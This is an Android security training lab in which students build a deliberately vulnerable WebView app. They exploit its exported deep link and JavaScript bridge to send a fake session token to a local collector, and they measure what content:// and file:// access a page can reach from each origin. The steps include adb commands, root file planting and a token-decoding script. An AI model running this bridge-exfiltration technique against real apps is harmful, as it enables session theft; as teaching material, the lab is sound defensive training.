Lab 01 — Exploit a JavaScript bridge in an app you build¶
Difficulty: intermediate
Time: 60–90 minutes
Prerequisites: 43-WebView §3.6–§3.8, 26-Intent for
how a URL reaches an Activity, 27-ContentProviders for what is
on the far end of a content:// fetch.
You will build the vulnerable app yourself. Nothing in this lab touches software you did not
write. The attack page and the collector both run on your own machine and are reached from the device
through adb reverse; nothing is exposed to a network.
Objective¶
By the end you will be able to:
- Build and install a WebView host with a Java bridge.
- Drive a URL of your choosing into it through its exported deep link.
- Enumerate the bridge from the page, with no reverse engineering.
- Exfiltrate the app's session token to a collector you control.
- Measure — not assume — which of the
content://andfile://tricks work from which page origin, and explain why the answer surprises most people. - Prove to yourself that the API 17 annotation gate is real, by observing it rather than believing it.
The last two are the point. The bridge exploit is the easy part; the origin matrix is what separates a report that survives triage from one that gets disputed.
Setup¶
1. Check your toolchain¶
# host
echo $ANDROID_HOME # must point at an Android SDK
ls $ANDROID_HOME/build-tools # need aapt2, d8, zipalign, apksigner
javac -version && keytool -help > /dev/null && echo "JDK ok"
adb devices -l
2. Record the device, before anything else¶
Every WebView result is qualified by two version numbers. Take them now and put them at the top of your notes.
# host
adb shell getprop ro.build.version.release
adb shell getprop ro.build.version.sdk
adb shell dumpsys webviewupdate | grep "Current WebView package"
Reference run, on the device this chapter was written against:
11
30
Current WebView package (name, version): (com.google.android.webview, 150.0.7871.181)
If your provider version differs, expect some numbers in this lab to differ. That is not a failure; it is the lesson of §3.1. Record what you see.
3. Build and install¶
# host
cd 43-WebView/examples
./build.sh --install
Expected, abridged:
=== building webview-probe (targetSdk 30) ===
built .../webview-probe/webview-probe.apk
=== building vulnerable-webview (targetSdk 30) ===
built .../vulnerable-webview/vulnerable-webview.apk
=== building hardened-webview (targetSdk 30) ===
built .../hardened-webview/hardened-webview.apk
installed com.pentest.ch43.probe
installed com.pentest.ch43.vuln
installed com.pentest.ch43.safe
If adb install is refused with INSTALL_FAILED_USER_RESTRICTED, that is an OEM policy
("Install via USB"), not a fault in the APK. build.sh detects that exact failure and retries through
root automatically. On the MIUI device this chapter used, the root path is the one that worked:
adb install refused: INSTALL_FAILED_USER_RESTRICTED
This is an OEM policy ('Install via USB'), not a fault in the APK.
Retrying through root...
installed com.pentest.ch43.vuln via root
Nothing is written into the repository — everything lands under $OUTDIR, and the throwaway signing
key is generated there too.
Part A — Establish the baseline¶
Step 1. Run the app normally¶
# host
adb logcat -c
adb shell am start -n com.pentest.ch43.vuln/.VulnerableWebViewActivity
adb logcat -d -s CH43VULN:V
CH43VULN: secret at /data/user/0/com.pentest.ch43.vuln/files/session.txt
CH43VULN: loading file:///android_asset/home.html
The app seeded a fake session token into its private directory and loaded its own asset page. Look at
the phone: three buttons, calling the bridge the app registered for its own page. That is
addJavascriptInterface used exactly as intended.
Step 2. Observe the annotation gate¶
Tap "is notExposed() reachable?". You should see:
typeof AndroidBridge = object
typeof AndroidBridge.deviceInfo = function
typeof AndroidBridge.notExposed = undefined
typeof AndroidBridge.getClass = undefined
notExposed() threw: TypeError: AndroidBridge.notExposed is not a function
Read LeakyBridge.java alongside that output. notExposed() is a public method. It is absent
from the JavaScript object entirely — not merely refused. So is getClass(), which every Java object
has, and which before API 17 was the first link in the reflection chain to Runtime.exec.
What you just proved. The API 17 gate is real and it works. It closed one specific, catastrophic path. Everything below is done through the methods that are still exposed — the ones the developer chose — which is why the chapter's summary is "the risk is the bridge, not the annotation."
Step 3. Confirm the entry point exists¶
# host
python3 -B ../../10-APK-Internals/examples/parse_axml.py \
"$OUTDIR/vulnerable-webview/vulnerable-webview.apk" | grep -A6 -i browsable
You are looking for a BROWSABLE category on an <intent-filter> with android:scheme="ch43vuln",
on an Activity that is exported="true". That combination means any web page, any installed app,
and adb shell am start can choose what this WebView loads.
Step 4. Static audit — what would you have found without the source?¶
# host
cd ../.. # repo root
python3 -B 43-WebView/scripts/webview-audit.py \
"$OUTDIR/vulnerable-webview/vulnerable-webview.apk"
Work through the output before continuing. Specifically:
- The effective settings table. Which rows are marked
*(explicit) and which are unmarked (inherited)? FindsetAllowContentAccess— it should be unmarked,true,default. Nobody wrote that line, and it is on. - The JavaScript bridge section, listing
AndroidBridgeand its four annotated methods. - The certificate error handling section, and the
WV-001 [CRITICAL]finding. That is lab 02. WV-060, the BROWSABLE-plus-dynamic-loadUrlfinding. That is what you are about to exercise.
Part B — Take control of the URL¶
Step 5. Serve the attacker page from your own machine¶
# host — terminal 1
cd 43-WebView/examples/attacker-page
python3 -B -m http.server 8000
# host — terminal 2
adb reverse tcp:8000 tcp:8000
adb reverse makes the device's 127.0.0.1:8000 reach your machine's port 8000. The page and
the collector are both on your laptop; nothing is on a network.
Confirm from the device's point of view:
# host
adb shell "curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8000/evil.html" 2>/dev/null \
|| echo "(no curl on the device; the next step will confirm it instead)"
Step 6. Drive the deep link¶
# host
adb logcat -c
adb shell am start -a android.intent.action.VIEW \
-d 'ch43vuln://open?url=http://127.0.0.1:8000/evil.html'
Watch terminal 1. You should see the page fetched:
::ffff:127.0.0.1 - - [.../...] "GET /evil.html HTTP/1.1" 200 -
If instead you see nothing and logcat shows
ERR_CLEARTEXT_NOT_PERMITTED, the app's network security config is doing its job and your listener is not on127.0.0.1. That error is chapter 44's mechanism working inside the WebView, and it is worth triggering on purpose — see the optional step at the end.
Step 7. Read what happened¶
# host
adb logcat -d -s CH43VULN:V
CH43VULN: loading http://127.0.0.1:8000/evil.html
CH43VULN: bridge: getSessionToken()
CH43VULN: bridge: readFile(/data/data/com.pentest.ch43.vuln/files/session.txt)
CH43VULN: bridge: readFile(/proc/self/status)
CH43VULN: bridge: readContent(content://com.pentest.ch43.vuln.notes/note)
CH43VULN: provider openFile: content://com.pentest.ch43.vuln.notes/note
CH43VULN: bridge: getSessionToken()
Every one of those lines is your JavaScript calling the app's Java, in the app's process, as the app's UID.
Now the collector, in terminal 1. Decode the query strings:
# host — terminal 3
python3 -B - <<'PY'
import re, sys, urllib.parse
# paste or pipe the http.server log; this reads it from a file if you redirected it
for line in sys.stdin:
m = re.search(r'GET (/collect\?\S+)', line)
if not m:
continue
q = urllib.parse.parse_qs(urllib.parse.urlparse(m.group(1)).query, keep_blank_values=True)
print('%-9s | %s' % (q.get('tag', [''])[0], q.get('d', [''])[0][:300]))
PY
Reference output, from the run this chapter recorded:
origin | http://127.0.0.1:8000 | http://127.0.0.1:8000/evil.html
token | {"user":"lab@example.invalid",
"session":"CH43{bridge_is_the_bug_not_the_annotation}","issued":"lab"}
content | status=0 body=
file | status=0 body=
The session token left the device. That is the finding.
Step 8. Enumerate the bridge yourself, from the page¶
Look at what is on the phone's screen. The first block, "window objects that look like Java bridges",
is produced by a for…in loop over window — no reverse engineering, no APK, no tooling. That is all
an attacker needs to discover the API.
Try it interactively if you like: the app has remote debugging on (deliberately), so:
# host
adb shell "cat /proc/net/unix | grep -i devtools"
# @webview_devtools_remote_<pid>
adb forward tcp:9222 localabstract:webview_devtools_remote_<pid>
curl -s http://127.0.0.1:9222/json/list
Then open chrome://inspect in a Chromium browser on the host, or attach with any DevTools client,
and in the console:
for (var k in AndroidBridge) console.log(k, typeof AndroidBridge[k]);
AndroidBridge.getSessionToken();
AndroidBridge.readFile('/proc/self/cmdline');
Note the socket name. It is
@webview_devtools_remote_<pid>— not@<package>_devtools_remote, which is what most guides say, and not@chrome_devtools_remote, which belongs to Chrome. Grep fordevtools.
Part C — The measurement that matters¶
Steps 7's output contained two lines most people skip:
content | status=0 body=
file | status=0 body=
The direct XMLHttpRequest to content:// and to file:// failed, from an http:// origin,
even though the app has setAllowContentAccess at its default true, setAllowFileAccess(true),
setAllowFileAccessFromFileURLs(true) and setAllowUniversalAccessFromFileURLs(true).
That is the opposite of what a great many write-ups claim. Verify the other half.
Step 9. Run the same page from a file:// origin¶
You need the HTML somewhere the app will load it from file://. Model an attacker who has any
local-write primitive by planting it in the app's own data directory with root:
# host
adb push 43-WebView/examples/attacker-page/evil.html /data/local/tmp/evil.html
adb shell "su -c 'cp /data/local/tmp/evil.html /data/data/com.pentest.ch43.vuln/files/evil.html'"
adb shell "su -c 'chmod 644 /data/data/com.pentest.ch43.vuln/files/evil.html'"
adb shell rm -f /data/local/tmp/evil.html
adb shell "su -c 'ls -la /data/data/com.pentest.ch43.vuln/files/'"
The file must be readable by the app's UID. If ls shows an owner other than the app's u0_aNNN,
fix it:
# host
OWNER=$(adb shell "su -c 'stat -c %u:%g /data/data/com.pentest.ch43.vuln/files'" | tr -d '\r')
adb shell "su -c 'chown $OWNER /data/data/com.pentest.ch43.vuln/files/evil.html'"
Now load it:
# host
adb shell am force-stop com.pentest.ch43.vuln
adb shell am start -a android.intent.action.VIEW \
-d 'ch43vuln://open?url=file:///data/data/com.pentest.ch43.vuln/files/evil.html'
Reference output from the collector:
origin | file:// | file:///data/data/com.pentest.ch43.vuln/files/evil.html
token | {"user":"lab@example.invalid","session":"CH43{...}","issued":"lab"}
file | status=200 body={"user":"lab@example.invalid","session":"CH43{...}","issued":"lab"}
content | status=200 body=private note, provider-backed:
CH43{content_scheme_resolves_as_the_host_app}
Step 10. Write down the matrix¶
Fill this in from your own runs. It is the deliverable of the lab.
| Page origin | bridge call | XHR content:// |
XHR file:// |
|---|---|---|---|
http://127.0.0.1:8000 |
|||
file:///…/evil.html |
Reference answers:
| Page origin | bridge call | XHR content:// |
XHR file:// |
|---|---|---|---|
http://127.0.0.1:8000 |
works | blocked, status 0 | blocked, status 0 |
file:///…/evil.html |
works | 200, data returned | 200, data returned |
Three conclusions, and each one changes how you would write a report:
- The bridge is origin-agnostic. A remote page — the realistic attacker position — calls it freely. This is the widest path into the app and it is why the bridge is the headline.
setAllowContentAccessand the file-URL relaxations need afile://-origin document. The exploit chain has a precondition: the attacker must get HTML into a location the app will load locally. Report that precondition, or a developer will test from a remote page, see nothing, and dispute your finding.location.originfor a local file is justfile://. Every local file shares one origin. That is why the relaxations exist as separate switches, and why the modern advice is to stop usingfile://at all (WebViewAssetLoader, §3.9).
Step 11. Note what the provider taught you¶
Look again at:
CH43VULN: provider openFile: content://com.pentest.ch43.vuln.notes/note
Then read the manifest: NotesProvider is declared android:exported="false". It is correctly
not exported. No other app can reach it. A web page read it anyway, because the ContentResolver call
was made by the app's own process.
Mental Model — "not exported" protects you from other apps. It does not protect you from your own renderer.
Optional — see chapter 44's mechanism work¶
Worth ten minutes, because it is the cleanest demonstration of the boundary between chapters 43 and 44.
- Edit
examples/vulnerable-webview/AndroidManifest.xmland delete theandroid:networkSecurityConfig="@xml/network_security_config"attribute. ./build.sh --install vulnerable-webview- Re-run step 6.
The identical navigation now fails, and logcat shows:
# host
adb logcat | grep ERR_CLEARTEXT_NOT_PERMITTED
The default policy at targetSdk 28 and above denies cleartext, Chromium consults it through JNI, and the request never leaves the device. That is the network security config governing a WebView.
Then note what did not change: the onReceivedSslError override is still there and still proceeds.
Lab 02 is about that.
Restore the attribute and rebuild before continuing.
Hints¶
The build fails with "failed to load XML file" on a file that plainly exists
You are on Git Bash / MSYS and a path was passed to `aapt2` unconverted. `build.sh` runs every path through `cygpath -w`; if you are invoking `aapt2` by hand, do the same. A second, unrelated cause: **an XML comment containing a double hyphen**. `aapt2` rejects it. Every comment in this chapter's manifests was written to avoid `--` for exactly that reason.`adb push` fails with "remote secure_mkdirs failed: No such file or directory"
MSYS is mangling the remote path — `/data/local/tmp` becomes `C:/Program Files/Git/data/local/tmp`. Prefix the command:MSYS_NO_PATHCONV=1 adb push evil.html /data/local/tmp/evil.html
The deep link starts the app but it loads the asset page instead of my URL
Check the URI. The Activity reads the `url` **query parameter**:ch43vuln://open?url=http://127.0.0.1:8000/evil.html
The collector shows `content | status=0 body=` and I expected data
That is the correct result from an `http://` origin — it is the measurement in Part C, not a failure. Do step 9.Nothing at all reaches the collector
Three things to check, in order: 1. `adb reverse --list` — is the forward still in place? It is lost when the device reconnects. 2. Is the HTTP server actually bound? `curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:8000/evil.html` on the **host**. 3. `adb logcat | grep ERR_CLEARTEXT_NOT_PERMITTED` — is the config blocking you? Your listener must be on `127.0.0.1`, which is the only host the lab's config permits in the clear.`AndroidBridge` is undefined on the page
Either JavaScript is off (it is not, in this app), or the page loaded before the bridge was registered. `addJavascriptInterface` takes effect on the **next** navigation. Force-stop and re-run.Success criteria¶
You have completed the lab when all of the following are true and you have the output to prove each one:
- The three lab apps build and install, and nothing was written into the repository.
- You recorded the OS release, API level and WebView provider version.
-
AndroidBridge.notExposedandAndroidBridge.getClassare bothundefinedon the app's own page, and you can explain what that proves and what it does not. -
am startwith your URL causes the app to fetch a page from your listener. - The session token
CH43{bridge_is_the_bug_not_the_annotation}reached your collector. - You enumerated the bridge from the page, without reading the APK.
- You filled in the origin matrix from your own measurements, and both rows differ in the
content://andfile://columns. - You can state, in one sentence, why an unexported provider answered a web page.
- Optionally: you triggered
ERR_CLEARTEXT_NOT_PERMITTEDon purpose and can say which chapter owns it.
Clean up — leave the device as you found it¶
# host
adb shell "su -c 'rm -f /data/data/com.pentest.ch43.vuln/files/evil.html'"
adb shell am force-stop com.pentest.ch43.vuln
adb reverse --remove-all
adb forward --remove-all
Keep the apps installed if you are going straight to lab 02; otherwise:
# host
cd 43-WebView/examples && ./build.sh --uninstall
adb shell pm list packages | grep ch43 # must be empty
What to carry into the next lab¶
You have shown that a bridge is exploitable once you control the URL. You have not yet shown anything about transport security — every step above used plain HTTP to your own listener, which the app's config explicitly permits.
Lab 02 takes the same app, over HTTPS, with a certificate nobody trusts, and a network security config that is entirely correct — and gets the same result.